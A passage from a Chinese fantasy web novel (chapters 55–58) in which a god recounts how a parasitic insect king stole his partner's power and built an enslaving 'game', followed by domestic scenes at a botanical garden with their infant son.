其实它刚刚就有些奇怪,为什么另一个世界刚诞生不久的神明要来插手人类世界这渺小的一座山间发生的空间地震? 突然,它想到一种匪夷所思的可能性:难道是因为祂在保护这些人类? 祂的【空间】力量太过强大,连消弭这些空间地震祂都如此小心翼翼,生怕使用过多力量对这里造成伤害,那么,如果把这种力量用作【攻击】——哪怕是【挣扎】这种最微小程度的消极攻击,这座城市会不会顷刻倾覆? 用人类的词汇说,这叫投鼠忌器。 而为了努力救下最后一个人,祂甚至不选择逃走,只是拼命努力着! 真不敢想象,强大高贵的神明竟然可以为了如此渺小的人类像现在这样一动也不敢动地任它宰割! 躲在方子青大脑中的虫子终于体会到方子青那种疯狂的兴奋,它拼命制造出更多的子民,几近疯狂地吞噬着那些纯净的力量…… …… 它几乎吃掉了祂所有的力量,还想接着吞噬祂的灵魂,却猛然发现,它和神明之间那种天堑般的维度差又重新出现了……它和它所有的子民甚至都无法接近那个灵魂本体…… 而在那间卧室的空间地震发生后,那个苍绿的灵魂轻盈地坠下房顶,突然消失了。 那里明明什么都没有,虫子却觉得它在世界上所有的同类都在同时恐惧得颤栗……仿佛下一瞬就会全都化作齑粉、被彻底抹除存在…… 但到底什么都没发生。 只有人类世界尖锐的警笛声此时响了起来——诡异的虫子突然漫山遍野地出现,附近的住户自然早就报了警。 再加上那间卧室突然坍塌,这里也突然混乱起来。 虫子刚刚得到力量,需要摸索和消化,它不想太早被人类打扰,于是它并未继续寻找祂,利用刚刚得到的空间力量带着所有的虫子回到了地下实验室。 …… 回到那间实验室后,虫子和它的子民们离开了方子青的身体,方子青依旧保持了自我,却因为虫子的细胞已经开始在体内繁殖而不再算是人类。 他发现了一件再惊悚不过的事情:他和虫王离开的这段时间,那些留在地下实验室的虫子因为食欲开始暴动……短短时间里,它们吃掉了这栋大厦所有的员工…… 整座大厦到处是蠕动的虫子和人类的残骸,简直和人间炼狱没什么两样。 它们狡猾地将自己渺小的空间力量聚集起来,每进入一个地方,就将那一方小小的空间陷入和外界的隔离状态,它们隔绝了那些人类的提醒和求救,等到啃噬完里面绝望的人类,它们就再去下一个空间,吃到最后,那栋大楼陷入了彻底的寂静里,竟然没有一个人类逃出来。 即使冷血没人性如方子青,看到这一幕还是忍不住跑到厕所呕吐,人类的本能让他下意识恐惧:死了这么多人,绝对会引来最高级别的调查——血腥味这么重,说不定隔壁楼已经报警了! 那只大脑进化得越来越接近人类的虫王却告诉他,不必担心,它会使用自己得到的新力量规避人类的打扰…… 接着,它利用新得到的空间力量,将整座大厦翻转到地下,将这座大厦整个变作了人类无法探测的只属于它的繁殖空间…… 只是它和方子青发现,它的身体每次使用力量时,总会有部分身体破损,黑色的体|液会伴随力量的使用像【黑雨】一样倾泻而下,就好像……它的身体本就不能承受这些本就不属于它的力量……只是一旦有身体破损,它无数的子民便会前仆后继为它补好身体,于是它便并未在意这个小小的缺陷。 几天后,它还是用这样的力量在地下空间轻而易举打开了另一个世界的通道,那个世界正处于深度休眠期,到处是一片可怖的黑暗。 它知道自己无法承受那个世界里最至高无上的神的哪怕一次注视,因此只敢直接去到那些普通神明沉睡的密闭空间。 只是即使是那个世界里最普通的神明,它和它的子民在祂们面前依旧渺小得就像真正的虫子,在它小心翼翼地偷走祂们那些外溢的星星点点的力量时,祂们甚至都没有感知到它们的存在——就像人类不会在意一粒灰尘沾上身体。 它再一次对之前轻易地得到了【空间】力量感到一种危险的违和,却又因为得到了力量而自满膨胀,并未将那些违和放在心上。 虫王从新偷到的力量是【抹除存在】,它用这种力量在人类世界做了实验。 它试着将这座大厦和里面所有被虫子吃掉的人类在人类世界中【抹除】了存在。在这个过程中,方子青为了实验新能力的准度,也为了报复乔栋,建议虫王仅仅保留乔栋对这件事的记忆。 实验看似成功让虫王更加兴奋,它开始利用【空间】力量,从更多沉睡的神明那里偷取祂们外溢的力量…… 又过了几天,它已经因为吞吃了过多人类的身体、神明的力量与人工智能,进化到了新的维度:它开始彻底停止食用人类,转为使用人类。 它要使用那些人类为自己偷取更多神明们的外溢力量……就像蚂蚁会放牧蚜虫为自己获取更高级的食物。 已经接受了虫王的改造、将大脑与心脏移植到虫王身体的方子青提出,他们可以制作一个【游戏】,挑选出【玩家】去往那个世界为他们偷取力量…… 而方子青认为,人类恶的潜力比善的潜力更大,他认为人类世界中的罪犯可以更高效地为他们工作,而为了最大程度激发他们的积极性,要制定出一个骗局……比如告诉他们,他们可以得到一个愿望…… 于是虫王利用人工智能锁定了人类电子系统中最穷凶极恶的罪犯,它利用【空间】的力量将声音传送进犯人们的【脑空间】,在获取了他们的同意后,将他们拖入了地下空间。 在最初,虫王还无法好好控制自己的力量,会有一部分犯人死于与空间地震死状类似的空间挤压;方子青也发现,有部分人类似乎对虫子的细胞和体|液|过敏,他们似乎看不到【黑雨】。 有了【玩家】后,方子青利用虫王不断繁殖出的虫子做出了【手环】——【手环】与人体结合后,【手环】的大脑会游离到人类的脑中,像芯片一样彻底控制人类,又可以为虫王源源不断地传送他们从神明那里偷取的外溢力量。 而这些犯人经过【手环】的改造,已经彻底脱离了人类的范畴,他们变得和那些虫子一样,可以在祂们的世界如微尘一般生存——只是他们和那些虫子一样,依旧不能注视那个世界里最至高无上的邪神。 随着一批批犯人被虫王送入那个世界,方子青逐渐为【玩家】制定出系统的压榨规则,也设定出一个个【副本】。那些犯人开始频繁进出另一个世界,他们哪怕仅仅是待在那里,都会通过手环为虫王偷取力量…… …… 随着时间流逝,地下整座倒转的大厦全都变作了虫王身体的一部分,后来的玩家所在的大厅实质上就是在它的体内。 这时它判断,人类已经没有任何值得它【学习】的地方,它开始想要彻底吞噬自己体内方子青的大脑、心脏和意志…… 将方子青的意志吞噬得几乎只剩残渣后,虫王开始想要通过链接人类电子系统中更深更广的部分,获取更多符合标准的【玩家】信息,以得到更多【玩家】供它驱使,这需要大量数据升级他们体内人工智能的部分…… 于是它威胁诱惑了人类世界一个创办科技公司并研发了最新的人工智能模型的人类精英,要求他通过公司产品非法收集人类世界的海量信息并传送给它。 对方毫不犹豫地拒绝,并准备报警……出于报复,虫王利用力量交换了那个人类和他贪婪又富有野心的司机的人生。 那个人类变成了受制于人的司机,当初的司机成杨则摇身一变变成了科技公司的新贵老板,他并未在意这种诡异的转换是如何发生的,只是毫不犹豫地答应了虫王的要求,并且通过从它那里获取的零星信息,开始研究【游戏】和【玩家】,像当初的方子青一样,他也想要通过某种力量做世界的主宰…… …… 而在整个【游戏】系统变得完备的过程中,虫王从来没有忘记当初那个苍绿的灵魂,它依旧想彻底吞掉祂,获得更大的力量。 通过之前那次经历,它把祂定位为无害的【E级副本】,不断派遣玩家寻找对方,直到有一天,它相继从新来的玩家李行与吴非身上感知到了祂的力量,它将吴非派到了现实世界寻找祂…… 通过吴非定位到祂的那一天,虫王向人类世界传送玩家时,身体破损到几乎断裂,那天晚上,A市下了一场巨大的黑雨……所幸人类世界正常的大雨稀释了那些细胞,黑雨没有对普通人造成危害…… 可惜没有一个玩家能为它杀死祂并带回祂的身体…… 在感知到陶岫的孩子出生时,即使再畏惧陪在陶岫身边的祂们世界的主宰,虫王也不计代价地往现实世界里传送了成百上千的高级玩家,试图得到那个孩子——因为当初那场豪赌赌赢得到了无数收益,它便想豪赌第二次…… …… 陶岫蓦然睁开眼睛,苍绿的瞳仁里满是凉意。 他看向霍斯,声音难得冷得吓人:“那个沾了无数人命的怪物,目标是小星星?” “完全不用担心,亲爱的,”霍斯的大手抚上青年的太阳穴,轻轻按摩着,他道:“我发誓,那群卑贱的虫子连【注视】我们的孩子都无法做到。” 突然,他不知感受到什么,微微转身深深地看了杂物间一眼,接着他像是什么都没发生般把青年揽进怀里,道:“宝贝,你一定累了,睡个午觉休息下吧。那两个家伙过一会儿就带着小星星回来了。等你醒来就能看到他。” 陶岫若有所思看了霍斯一眼,点了点头:实在太多信息了,他必须休息下将自己的情绪调整好,以最好的样子面对他的孩子。 或许是因为霍斯揉着他的太阳穴很舒服,陶岫眼皮越来越沉,他几乎没来得及上床,便倒在男人肩头安心地睡去。 霍斯轻轻吻了下青年的额角,接着将对方稳稳拦腰抱起,走向杂物间的门。 那间卧室的窗帘不知什么时候已经拉上,整个房间都浸在一种令人安心的漆黑里,霍斯温柔地将青年安置在床上,他吻了下对方浓密的眼睫,声音轻而深情:“宝贝,我很快回来。” 接着,他离开了这间卧室,来到了空间巨大的书房。 书房角落放着一颗诡异又面目模糊的人头——那正是方子青的,是那对兄妹新拿到的虫子身体部位。 霍斯嫌弃又鄙夷地注视了它一眼,即使霍斯刻意控制,那颗人头还是承受不住他的注视,半颗硬生生化作了齑粉,最后残留的方子青的一丝意志在剩下的半颗人头里因为无法承受的痛苦而无声地哀嚎。 霍斯都不想,他只是大步来到了窗边,用力扯开了窗帘,冰冷地注视着庭院的天空:那里不知什么时候张开了一只巨大的、可怖的、猩红的眼睛。猩红的瞳仁几乎要把庭院的整个天空填满。 霍斯的声音冰冷至极:“你最好不要太过分。敢在他面前现身,即使你是这个世界的【规则】,我也会杀了你。” 【规则】的声音冷漠无情,带着某种诡异的空灵:【我只是想看看他长大的样子。就像你当初看他灵魂的样子。】 【而且,除非那些身体全部回到你的脊椎,否则你现在只能压制我,而不是彻底地压制我,更不是杀死我。】 霍斯危险地眯了眯眸子,霎时间整个天空都在震颤。 …… 书房对面的卧室里,美丽的青年却睡得香甜而无梦。 第56章 【规则】很快因为刚刚的震动消失,霍斯面上却依旧满是冷意。 他转过身,冷漠又不耐地看向角落里那颗痛苦又无声哀嚎着的人头。 他其实隐瞒陶岫的事情不算少。 比如,眼前这个人类和那只虫子还利用青年的力量卡住了那次撞击,因为虫子滥用了力量,导致两个世界的界限越来越模糊,已经开始融合很久了,现在那道薄薄的界限将很快被打破,所以陶岫会在那栋别墅直接看到另一个世界。 如果融合彻底发生,高维的世界只会吞噬掉低维的世界。 他其实可以直接将两个世界分离,但他的力量实在太过强大,在这个过程中,人类世界一定会受到巨大的影响,所以他才不得不把这些恶心的虫子身体带回书房,做一种对人类世界无害的【空间分离剂】。 毕竟,如果不是为了这一天,【规则】也不会在25年前任由可鄙的虫子偷走陶岫的力量。 陶岫刚刚出生时整个世界都在深度沉睡,他是黑暗中唯一活跃的亮光。 两个世界撞击时,高维世界的智慧生物如果没有沉睡,可以看到另一个世界每个角落的美丽风景。 直到现在霍斯都在怀疑,是不是就是在那个最孤独的时刻,那个绿色的小光团喜欢上了陪伴自己的人类世界,他后来才会为了那个世界付出那么多。 …… 他和陶岫第一次在那间客厅见面时就立刻看出了是谁偷走了青年的力量,所以那时他其实有些生气:这么虔诚又努力地供奉着他的小仆人怎么可以被别人欺负? 所以当天晚上,他因为不想回去对门动手脚,陶岫打开门时,门后的空间包括了所谓的【玩家大厅】。 那时他就想打个响指,拿回青年的力量后让那些虫子立刻消失。 但他抬起手的一瞬,沉睡期借走他【探知未来】力量的【规则】很突然地提醒了他,要他看那样做了之后的未来: 虫子消失,陶岫重新得到了力量。但两个世界那时已经融合,陶岫为了分离它们的同时保护人类,用自己的灵魂做了空间分离剂。 因为有陶岫的灵魂做缓冲,两个世界终于完成了撞击,安全地彻底分离。 祂们的世界继续随着星系轨道运行,与人类世界愈行愈远。可那个青年却被留在亿万光年之外的人类世界孤独地长眠。 …… 霍斯不认为自己那时已经深爱对方,他却对这种结果分外生气,于是他从青年身后覆上了对方的手背,用力关上了门。 后来,在和青年的相处中,他也想过别的办法:比如第一次尝试是,回到撞击开始发生的30年前,将那些虫子连存在本身都彻底抹杀。 但是,天然具有空间与吞噬人工智能两种力量的生物会诞生的成因是两个世界的撞击,他就算彻底抹杀那些虫子,还是会有别的具有那两种力量的生物诞生。 许多事情依旧会一如既往发生。 霍斯的第二次尝试是,试图抹杀另一个变量:那个打开了虫子进化按钮、叫方子青的人类。 他却依然失败了。 【规则】再次出现让他看到:一个贪婪愚蠢的方子青消失,还会有和方子青一样的人类出现,甚至会比方子青做得还要过分。那个世界永远不缺少贪婪愚蠢又傲慢的人。 第三次尝试,霍斯来到了25年前,隐身站在陶家别墅的花园里等待着那个绿色的光团出现,他会在小家伙消弭空间地震救人时,杀死会偷走祂力量的人类和虫子。之后,他会把小光团送回他们的世界藏起来,让他好好地在故乡长大。 他还会再好好教训下拿走了他一部分力量却不好好保护同类的【规则】——休息期里,祂们都在沉睡,可【规则】没有灵魂、没有实体,只有意志,自然永远清醒。 每次沉睡前,【规则】都会借走霍斯的一部分力量,以保护那些在休息期里诞生的同类。 可这次,【规则】竟然如此失职,它放走了陶岫,放任那只虫子偷走了陶岫的力量。 可正要出手时,25年前与25年后的【规则】空灵诡异的声音同时在他脑海中响起来:【我暂时得到你的力量,做出的决定自然带着你的意志的影响。】 【是我在阻止你,还是你在阻止你,亦或是我们在共同阻止你呢?】 【霍斯大人,你要明白,我存在的意义就是保护同类,我永远无法违背这样的天性。】所以永远不会背叛、伤害同类。它的任何行为都是为了保护同类。 霍斯闻言脸色冷得吓人,却无法反驳——因为,【规则】说得都是事实。 于是,他通过【规则】看到了他这样做后陶岫的第三种未来: 虫王和方子青被杀死后,那个小光团确实安全地回到了自己的世界。 可是,留在实验室的那部分虫子中,会产生新的虫王,它们会把人类世界弄得到处都是空间地震,无数人会死去。 那个小光团会再次来到人类世界,祂会消弭所有的空间地震。祂还打算替人类解决那些虫子:为了不伤害这个世界,祂不会攻击,祂会将自己的灵魂变作空间容器,将那些虫子永远困死在漆黑冰冷的地下。 …… 在这个未来中还有个分叉,霍斯杀死虫王的同时也杀死了留在实验室中所有的虫子,但是,两个世界的撞击依旧在进行,一批野生虫子灭亡后,又会有新的一批虫子诞生,人类、虫子、陶岫还是会进入相似的循环。 …… 看完这些后,霍斯垂在身下的手第一次紧紧握住了拳。 苍绿的火焰已经在脚下生气蓬勃地燃烧,霍斯知道,25年前的小家伙儿已经来了…… 而被虫子寄生的方子青就卑鄙地蛰伏在暗影里…… 【规则】冰冷空灵的声音再次响起来:【还有一种方法是,改变他的本性。霍斯大人,你知道的,你要做到这点非常简单。他会失去感情却永远安全。】 【但你会那样做吗?】 霍斯的声音冰冷至极:“闭嘴。” 【规则】:【所以我根据你的力量与你留在我这里的一缕意志的指示选择了最后一种方法。】 【那就是:如果那个小家伙不管在何种情境下做出的决定都是为了保护人类使用所有力量(甚至去死),那么把力量寄放在那只虫子那里,等它成长到一定地步可以用作拯救人类世界原料的时候,就让它带着那些力量替小家伙去死,不是很合适么?】 它的声音性高傲得像在审判犯人:【霍斯大人,您不觉得,这是最适合那些虫子的结局吗?】 【再次强调,这是小家伙做出选择后本来就会发生的事情,我并未干涉他的人生,我只是选择袖手旁观,不做任何行动。】 【所以这一次对人类来说牺牲最小的未来,实质上是小家伙完全靠自己的力量选择与这次的选择促成的(虽然祂本人并不清楚)——只要,您也不对过去插手。】 霍斯脸色黑得吓人,【规则】的声音在他脑海中被彻底撕碎:“滚。” 此时无数虫子已经在啃噬那些苍绿的力量,25年前的【规则】果然袖手旁观并未阻止…… 那些虫子无法承受那样浩瀚强大的力量,却因为同样具备【空间】的力量达到了诡异危险的平衡,它的身体最终如【规则】所愿,变成了承载祂力量的容器。只是,它的身体表面看起来没问题,实际上已经分崩离析,它日后每使用一次偷来的力量,身体还是会被力量撑破…… 无数虫子依旧在飞快地吞噬吸取那团光芒的力量,霍斯眼睁睁看着这一幕,只觉得自己的心脏中清晰地翻涌着无数戾气,他的手抬起无数次,最终却到底没有插手…… …… 最后,他以最温柔的姿态接住了那个从房顶坠落的绿色光团。 即使失去了大部分力量,祂依旧温暖得像雏鸟。 只是霍斯甚至还没来得及用手指轻轻碰碰祂,那个光团便挣扎着跳下了霍斯的掌心,去到了那间已经有老人抽泣声传来的坍塌的卧室。 人类看不见的温暖光团焦急地跳跃在那具年轻男性的尸体上试着救他,那个叫陶琛的人类却已经失去了生息。 隐去身形的霍斯站在原地,静静地看着那一幕。 【规则】:【霍斯大人,您现在体会到,强大也是一种束缚了吗?】 太过强大的存在是无法拯救太过弱小的存在的,因为天堑一般的维度差,最强者无论再如何控制力量,再微小的“拯救”的力量施加到弱小者身上也会变成一种可怕的伤害。 所以它和霍斯都因为强大而无法完全无害地消弭这场空间地震,也无法救那个人类。 可那团光芒使用力量时却可以做到那么温柔。祂虽然没能救下那个人类,却彻底消弭了这座山的空间地震,救了许多别的人类。 从这个角度来看,祂是祂们之中多么特别的存在啊! …… 那时的霍斯在25年前看了很久很久。 他看到那个苍绿的灵魂悄悄跳进了那个老奶奶的口袋,即使她无法看到祂,祂也那样努力地抱着她的手指安慰。 他看到那对老人搬了新家,独子死了他们再也无心公司事务,便每天麻木地生活,再一起发呆。 那团光芒总是跳跃在他们的肩头,努力又笨拙地安慰着他们。 有一天,老爷爷突然说,他好像又看到了萤火虫,又好像没有,老奶奶也没看到,她却像那天在花园里一样,往桌上放了一碟干净的清水。 她怔怔笑了:“陶琛还没能看到萤火虫呢……” 老爷爷拍着她的手背哑着嗓子道:“雅妍,咱们说好了啊……只消沉这么几天,然后,咱俩余生还是要好好过。这样才对得起琛琛。” 老奶奶眼眶立刻红了,面上却浮出个笑:“哎。我知道。” 那个苍绿的光团在他们相握的手上温柔地跳跃…… …… 又过了段时间,虫子使用偷来的力量卡住了两个世界的撞击,它不断从人类世界拖走玩家,又不断将玩家传送到祂们的世界,却又无法做到很好控制那些力量,溢出的强大力量导致两个世界开始缓慢融合。 普通人类暂时无法进入另一个世界,也并不知晓另一个世界的存在。 但是,维度的渐渐重合却让人类变得可以【看见】祂们的存在——比如,如果祂们来到人类世界,或是人类去到祂们的世界,人类都可以【看到】祂们。 在这个过程中,那个苍绿的光团越来越心疼那两个温柔的人类老人,祂也越来越黏人。 在被【看见】之前,祂选择了拥有人类的身体——祂们这样的存在本就是先诞生灵魂,再用灵魂慢慢滋养出自己想要的身体。 祂非常认真努力地生长出了人类的血肉,变成了一个彻彻底底的人类婴儿。 当家门口响起婴儿的哭声时,两位老人开门看到那个孩子的一瞬,便有种异样的温暖与熟悉,他们没怎么犹豫就收养了他,不久后带他离开了这座城市…… 他们把那个孩子养得很好。 只不过,高维的灵魂去适应一具低维的身体要受很多苦,那个孩子失去了大半另一个世界的记忆,学习能力与感知能力也都是滞后的。 可即使如此,他依旧成长得很好很好…… …… 书房里,沉浸在回忆里的霍斯此时已经用那个头颅做好了一瓶【空间分离剂】。 他随手将明天要用的这个瓶子丢进抽屉,无情地唤来一只不着家的狗,启动了它的清洁模式,将戴过的白手套丢进狗嘴里彻底绞碎。 接着他洗了整整三遍手,又换了套衣服,才走向那间卧室。 陶岫已经醒来了,一觉之后,他的精神恢复大半。 此时他正半坐在床上,敲着平板不知在做什么。 已经回来的陶星星累得在陶岫手边的摇篮床里甜甜睡着了,小小的嘴巴微张,吐着小泡泡。竺和小八则在客厅看电视。 一片安宁静好的午后氛围。 霍斯坐到床边就嗅到青年身上温暖好闻的气息,他温柔地看着对方:“亲爱的,你在做什么?” 陶岫一怔,抬起头朝男人露出个明媚美丽的笑:“准备工作的事情。明天刚好周一,我打算带陶星星去植物园上班。” 成运已经被特别行动局带走了,他在家没什么要做的事情了。 而就算需要时间与精力消化那么多从霍斯那里得知的诡异信息,班也还是要上的。 哪怕世界明天毁灭,他也要在毁灭的前一天好好爱他的亲人朋友爱人,不浪费一分一秒地好好生活——这就是他的人生信条。 想到什么,陶岫问道:“你今天的工作都做好了?” 霍斯优雅地点点头。 陶岫挑了眉:“明天什么工作计划?”如果工作不沉,他可以把霍斯抓去植物园做劳动力,闭园那么久了唉,重新开园第一天工作还挺多的。 霍斯:“明天我要外出一趟,然后……”他看向窗帘的方向眯了眯眸子:“去回收一些愚蠢的身体部位。”即使无法杀死对方,他至少要先把那个敢惦记陶岫的该死的【规则】狠狠揍上一顿。 陶岫有点遗憾地点点头,继续敲着平板里的文档:“好吧。祝我们明天都工作顺利。” 霍斯喜欢看陶岫做任何事情的样子,即使青年在聚精会神地工作不和他说话,他也能津津有味地看上很久。 他看着这样生动的青年,想到刚刚的回忆,他突然有点不解地问道:“宝贝,你为什么会那样喜欢人类?” 陶岫再次抬头:“?” 他失笑道:“你突然这样问,我也不知道该怎么回答啊,我大部分人生的自我认知本来就是人类——” 顿了下,他眨了眨苍绿的眼睛,回忆道:“啊我想到了。虽然不知道这样回答合不合适,但我小时候一直在做一个梦。” “我梦到,”青年的声音温柔至极:“我变成了一个小小的光团,孤零零地悬浮在无边无际的黑暗里。其实那种黑暗不讨厌,很温暖,只是孤零零听起来挺可怜对吧,但那时……另一个绚烂广阔的世界整个朝我奔来。无数人们交织出的无数人生像万花筒一样在我眼前展开。它们感染着我,塑造着我。” 陶岫歪了头看向男人,苍绿的眼眸闪闪发亮:“霍斯,那实在太美丽了。” 沉默半晌,霍斯低低地笑开,他俯身亲了口青年,声音低沉悦耳:“我知道了。” 第57章 第二天,陶岫带着陶星星和小八上班,霍斯用了瞬移送他们。 奇遇植物园有段时间不营业了,许多老顾客非常想念,即使是在工作日,这天也迎来了客流量的小高峰。 陶岫忙得脚不沾地的时候,小八就在婴儿房里陪陶星星玩。 那个房间是陶岫关掉植物园前亲手布置的,它由休息室改造,到处铺满了柔软厚实适合婴儿肤质的地毯,家具被移走了所以空间很大,屋子里没有任何尖尖角角的东西,哪怕是窗台的边棱,都被细心地包上了厚绒布。 这间屋子现在到处都是可爱的玩偶与风铃,天花板现在已经变成天蓝色的,上头画满了可爱的星星,连吊灯都被改造成了童稚又可爱的样子。 地上有顶小小的帐篷,里面铺了舒适的床铺,上面还放了陶星星最喜欢的玩偶。 陶星星现在虽然还不会走路,却已经学会爬了,一看到那顶帐篷他便开心地爬了进去。他笑得甜甜的,抱着他的玩偶小伙伴在帐篷里探索着。 小八蹲在帐篷前,一边看着陶星星一边好奇地念着帐篷门上小小牌子上的字:“小星星的秘密基地……” 陶星星听到小八的声音,将小脑袋探出门外,眨巴着大眼睛张开嘴咿咿呀呀说着什么,声音稚嫩好听,他很想问什么是秘密基地,却因为刚出生不久还不会说话。 小八温柔地笑了下,道:“秘密基地就是,小陶哥哥给小星星准备的专属房间哦,小星星开心和难过的时候都可以躲进去。” 陶星星眨巴了下大眼睛,他歪了头,一个意识便像小花一样在小八脑海中绽开:“我也可以送给妈咪一个秘密基地吗?” 小八一怔,甜甜笑开:“可以哦。我带小星星去做秘密基地~小陶哥哥一定会很开心的。” 陶岫不止给小星星准备了礼物,也给她准备了阅读角和玩具角,玩具角里有一套新的积木玩具。 说罢她便抱起陶星星往屋子里开阔的空间走去——那里方便搭积木。 …… “阿嚏” 陶岫此时正在二楼的草莓大棚里检查冬季的保温系统,顺便种一些草莓苗,他起身摸了下鼻尖,看向楼下办公室的方向:是小星星想他了么? 他看了下手表:还有三十分钟就是喂小星星喝奶粉的时间,刚好够他种完这些草莓苗。 正在这时,一个身影悄然出现在陶岫身后,下一瞬,徐染秋温和的声音响起来:“这里的草莓棚在A市很有名,在因为那份鲜花供应合同来这里找你前,我就听同事说过很多次了。” “虽然没看到草莓,但在冬天看着这些翠绿的草莓苗,也会让人心情很好。” 陶岫一怔,转过身来,面上浮出个惊讶又温和的微笑:“徐秘书?” 上次见到徐秘书还是在他家里,那时,徐秘书偷偷将一个高级玩家带回了家,想杀了对方为自己父母报仇…… 那时他失血很多,即使陶星星为他治好了外伤,应该也要养很久。 想到这里,他关切地问道:“你身体还好吗?” 徐染秋眸子里沁出些许暖意,他摇了摇头:“谢谢关心,住了几天院,我已经没事了。” 接着,他下定决心一般,向陶岫认认真真鞠了一躬,腰几乎要折到九十度,他道:“乔总说,多亏你及时赶到,我才得救……陶老板,真的谢谢你。” “如果你有什么需要帮忙的地方,请务必对我说。” 其实,不知为什么,他已经对那天发生的事情没有过于清晰的印象了,但是,他却总觉得,陶岫为他做得比乔总描述得还要更多…… 在这个人们关系快节奏而原子化的社会里,这样的善意是最珍贵而难以报答的,其实他有些手足无措地不知怎么去回报陶岫…… 陶岫一惊,连忙把人扶起来:“没关系的,我给乔氏供花的时候也是一直在麻烦你呀。” 他本来想说,朋友之间也不必计较这么多,只是看着徐秘书此时的神情,话到嘴边却改了主意。 陶岫歪了头,面上笑意纯净又璀璨:“我确实遇到了点难事想请你帮忙。” 徐秘书忙道:“你说。” 陶岫:“你周末的时候一般有什么事情吗?” 徐染秋一怔,摇了摇头:“除了必要的应酬和朋友之间的交往,我都是在家休息。”他是个孤儿,本来就没有太多社交关系。 陶岫:“那你方便抽一天时间过来这里帮忙吗?帮我引导一下客人就好,周末人流量大,我有时会忙不过来。” “我本来定好了一个员工,但他现在大概率在处自己的事情,暂时无法入职。” “你能过来的话,就真的帮了我很大的忙。” 徐染秋怔怔看着陶岫:为什么世界上会有这样的人……连他在尽量掩饰的不想亏欠的心情都能照顾得温柔…… 徐染秋终于释然地笑开,他朝陶岫伸出手,道:“我当然愿意。不管是作为临时员工,还是作为朋友,我都非常乐意来到这里帮忙。” “老板,以后请多指教。” 陶岫利落地握住了那只手,他弯了眼眸:“请多指教。” …… 徐染秋离开后,陶岫看了下表:刚好到了要喂陶星星奶粉的时间。他便干脆把种草莓苗的事情安排到下午。 他很快下楼回到办公室,换下工作服洗干净手后,他推开了里面的婴儿室的门。 踏进去第一步后他蓦然睁大了眼睛: 只见房子中心位置原本空荡荡的地毯上,立着一个可爱的积木小房子。 那是个很可爱的房子,里面有不少间屋子,每间屋子里有一盏用星星形状糖果做的灯,外头甚至带了一个小庭院。 陶星星已经学会半坐起来,他正坐在小八旁边,伸着小短胳膊把变出的一捧可爱小花递给小八,要她帮忙把它们放进庭院里摆出可爱的形状。 陶星星的手边还放着一张印满星星的可爱手账纸,上面有他用印泥认认真真印下的小小手印,小八似乎还在上面写了什么字。 …… 回过神来陶岫上前一把把陶星星抱起来,眉梢满是温柔的笑意:“你们怎么想起用积木搭房子啦?” 小八把小花放进庭院里,才开心地看向青年:“是小星星送给小陶哥哥的礼物哦~都是小星星搭的,我只是帮忙放了花花写了字~” 说着她举起地上那张可爱的纸片,上面写着“给妈咪的秘密基地”四个字,字的旁边是陶星星的小手印,意思是他的签名。 陶岫一怔,失笑道:“送我的?” 陶星星已经开心地伸出短短的胳膊抱住了陶岫的脖颈,他眨巴着亮晶晶的大眼睛歪了头看着青年,“啪叽”一口亲在对方的脸颊上。 陶岫觉得自己的心都化了,他点了点小朋友的鼻尖,问道:“怎么想起送我……嗯,秘密基地?” 一道稚嫩的意识甜而轻盈地在陶岫脑海中绽开:“妈咪送了星星秘密基地,星星也要送妈咪~” “星星刚刚看到、未来爸爸会惹妈咪生气~妈咪不想爸爸的时候,就可以带星星躲进去哦~” “有妈咪和星星的房间,有小八姐姐和厨子哥哥的房间~” “星星还做了小锁子,爸爸和狗狗、都进不来哦~” 陶岫沉默半晌,终于没忍住笑出声:“.…噗嗤” 爸爸和狗不许入内什么的……真想看看霍斯听到这句话的表情。 …… 分离完今天需要分离的空间此时正在某个地方粗暴地吞噬身体部位的某人(?):“……阿嚏” 第58章 陶星星喝完奶粉就睡着了,陶岫将他安置好,正要再看着他睡一会儿,有人敲响了外面办公室的玻璃窗。他将陶星星拜托给小八,自己放轻动作起身向外走去。 办公室的玻璃窗外,站着周河和一个缩头缩脑抱着双肩包的年轻人。 陶岫一怔,打开门走了出去。 周河朝他一笑:“又见面了,陶岫。” 陶岫眨了下眼:“有什么事吗?” 周河指了下自己身后战战兢兢的年轻人:“是他找你有事。” 陶岫:“?”这人好像是……张乐?他应该是和林枚一批来现实世界攻略他的玩家。 他和张乐唯一的交集就是对方跟踪过他来着,然后他把人送进了派出所,再之后,他成了特别行动局安排进游戏的线人。 他能找自己什么事? 陶岫虽然对有过入室行窃前科又跟踪过自己的人没什么好感,但看在周河的面上,还是礼貌地朝对方打了招呼:“你好?” 张乐深吸一口气大步来到陶岫面前,深深朝对方鞠了一躬,大声道:“大哥当初跟踪你真的对不起能不能请你救救我啊!我愿意认您为我唯一的大哥我什么都愿意为您做!只要您救我我上刀山下火海二话不说!” 陶岫:“.…?”他怎么听不懂对方在说什么? 只是公共场合对方的行为实在太让人尴尬了,已经有顾客悄悄往这里看了。 陶岫摸了摸鼻尖,有点无奈地道:“总之,办公室不是很方便请你们进来,你们先跟我来休息角。声音也请小声些,不然会影响客人。”说罢便往一个方向走去。 张乐正要再分辨什么,周河一把抓住了对方的后领,凉凉道:“请人帮忙就要有请人帮忙的态度。”说着便轻轻轻松拽着他跟上了陶岫。 到了休息角,张乐抱着手里的包怂怂地坐在一边,周河替他开了口,道:“你知道的,这家伙的能力是【意识探取】,我们那边收的玩家每周都要接受一次,包括林枚。” “这家伙从林枚的意识中得知你帮他摆脱了手环的控制,所以想请你帮忙。” “当然,陶岫,帮与不帮都出于你自己的意志,我们会尊重你。” 陶岫认真思索一瞬,问道:“他的罪行过追溯期了么?” 周河一怔,摇了摇头。 陶岫这才温和地道:“那我可以帮他。” 周河轻笑一声,道:“很符合我对你的解——不过,不是现在,他现在要继续作为线人进出游戏帮助我们获取信息,等到一切结束,我会再带他来找你。再之后,他会接受法律的制裁。” 陶岫:“好。”顿了下,他突然想起不久前离去的徐染秋,他问道;“我能问下从徐染秋家里带走的那个玩家的现状吗?” 那个玩家当年伙同同伙,入室抢劫害死了徐染秋的父母。 周河倒也没有隐瞒,道:“我们利用张乐从他那里获得的信息是,当年那间监舍失踪的重刑犯大部分都是副本开荒者,都在里面死状很惨,存活到最后的只有他一个。现在,他因为每天都陷入极度恐惧里,自己拼命折磨自己,也离死不远了。” 陶岫点了点头,面上看不出什么神情。 周河倒是并未在意,他肘了肘在一旁瑟瑟缩缩的张乐,道:“你不是有东西要给陶岫吗?拿出来吧。” 